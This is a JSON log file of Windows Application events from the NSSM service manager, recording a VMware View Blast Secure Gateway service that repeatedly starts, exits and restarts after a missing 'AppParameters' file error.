{"@timestamp":1646722078872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159874}}
{"@timestamp":1646722078873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159875}}
{"@timestamp":1646722078873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159876}}
{"@timestamp":1646722078874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159877}}
{"@timestamp":1646722207428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159878}}
{"@timestamp":1646722207429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159879}}
{"@timestamp":1646722207430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157548","0"]}}},"module":"Application","provider":"nssm","sequence":159880}}
{"@timestamp":1646722207430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157548","157548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159881}}
{"@timestamp":1646722207447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159882}}
{"@timestamp":1646722207448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159883}}
{"@timestamp":1646722207449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159884}}
{"@timestamp":1646722207449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159885}}
{"@timestamp":1646722336153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159886}}
{"@timestamp":1646722336154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159887}}
{"@timestamp":1646722336155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157612","0"]}}},"module":"Application","provider":"nssm","sequence":159888}}
{"@timestamp":1646722336156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157612","157612","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159889}}
{"@timestamp":1646722336172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159890}}
{"@timestamp":1646722336172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159891}}
{"@timestamp":1646722336173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159892}}
{"@timestamp":1646722336174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159893}}
{"@timestamp":1646722464665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159894}}
{"@timestamp":1646722464666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159895}}
{"@timestamp":1646722464669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157124","0"]}}},"module":"Application","provider":"nssm","sequence":159896}}
{"@timestamp":1646722464670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157124","157124","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159897}}
{"@timestamp":1646722464687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159898}}
{"@timestamp":1646722464688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159899}}
{"@timestamp":1646722464688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159900}}
{"@timestamp":1646722464689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159901}}
{"@timestamp":1646722593192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159902}}
{"@timestamp":1646722593193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159903}}
{"@timestamp":1646722593194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156872","0"]}}},"module":"Application","provider":"nssm","sequence":159904}}
{"@timestamp":1646722593195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156872","156872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159905}}
{"@timestamp":1646722593212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159906}}
{"@timestamp":1646722593212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159907}}
{"@timestamp":1646722593213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159908}}
{"@timestamp":1646722593213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159909}}
{"@timestamp":1646722721731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159910}}
{"@timestamp":1646722721731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159911}}
{"@timestamp":1646722721732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155696","0"]}}},"module":"Application","provider":"nssm","sequence":159912}}
{"@timestamp":1646722721732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155696","155696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159913}}
{"@timestamp":1646722721748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157632","0"]}}},"module":"Application","provider":"nssm","sequence":159914}}
{"@timestamp":1646722721748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157632","155696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159915}}
{"@timestamp":1646722721763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159916}}
{"@timestamp":1646722721763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159917}}
{"@timestamp":1646722721764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159918}}
{"@timestamp":1646722721764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159919}}
{"@timestamp":1646722850263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159920}}
{"@timestamp":1646722850265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159921}}
{"@timestamp":1646722850266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156940","0"]}}},"module":"Application","provider":"nssm","sequence":159922}}
{"@timestamp":1646722850267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156940","156940","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159923}}
{"@timestamp":1646722850281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159924}}
{"@timestamp":1646722850282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159925}}
{"@timestamp":1646722850282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159926}}
{"@timestamp":1646722850283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159927}}
{"@timestamp":1646722978957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159928}}
{"@timestamp":1646722978958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159929}}
{"@timestamp":1646722978959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156956","0"]}}},"module":"Application","provider":"nssm","sequence":159930}}
{"@timestamp":1646722978959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156956","156956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159931}}
{"@timestamp":1646722978976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159932}}
{"@timestamp":1646722978977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159933}}
{"@timestamp":1646722978977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159934}}
{"@timestamp":1646722978978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159935}}
{"@timestamp":1646723107485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159936}}
{"@timestamp":1646723107487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159937}}
{"@timestamp":1646723107488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157416","0"]}}},"module":"Application","provider":"nssm","sequence":159938}}
{"@timestamp":1646723107488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157416","157416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159939}}
{"@timestamp":1646723107506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159940}}
{"@timestamp":1646723107507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159941}}
{"@timestamp":1646723107507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159942}}
{"@timestamp":1646723107508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159943}}
{"@timestamp":1646723235995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159944}}
{"@timestamp":1646723235997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159945}}
{"@timestamp":1646723235998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157572","0"]}}},"module":"Application","provider":"nssm","sequence":159946}}
{"@timestamp":1646723235998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157572","157572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159947}}
{"@timestamp":1646723236016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159948}}
{"@timestamp":1646723236017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159949}}
{"@timestamp":1646723236017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159950}}
{"@timestamp":1646723236018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159951}}
{"@timestamp":1646723364736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159952}}
{"@timestamp":1646723364737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159953}}
{"@timestamp":1646723364737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156988","0"]}}},"module":"Application","provider":"nssm","sequence":159954}}
{"@timestamp":1646723364738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156988","156988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159955}}
{"@timestamp":1646723364757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159956}}
{"@timestamp":1646723364758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159957}}
{"@timestamp":1646723364758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159958}}
{"@timestamp":1646723364759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159959}}
{"@timestamp":1646723493268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159960}}
{"@timestamp":1646723493268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159961}}
{"@timestamp":1646723493269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157184","0"]}}},"module":"Application","provider":"nssm","sequence":159962}}
{"@timestamp":1646723493270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157184","157184","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159963}}
{"@timestamp":1646723493286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159964}}
{"@timestamp":1646723493286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159965}}
{"@timestamp":1646723493287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159966}}
{"@timestamp":1646723493288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159967}}
{"@timestamp":1646723621794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159968}}
{"@timestamp":1646723621796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159969}}
{"@timestamp":1646723621796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157564","0"]}}},"module":"Application","provider":"nssm","sequence":159970}}
{"@timestamp":1646723621797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157564","157564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159971}}
{"@timestamp":1646723621813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159972}}
{"@timestamp":1646723621813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159973}}
{"@timestamp":1646723621814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159974}}
{"@timestamp":1646723621815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159975}}
{"@timestamp":1646723750313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159976}}
{"@timestamp":1646723750314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159977}}
{"@timestamp":1646723750315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156400","0"]}}},"module":"Application","provider":"nssm","sequence":159978}}
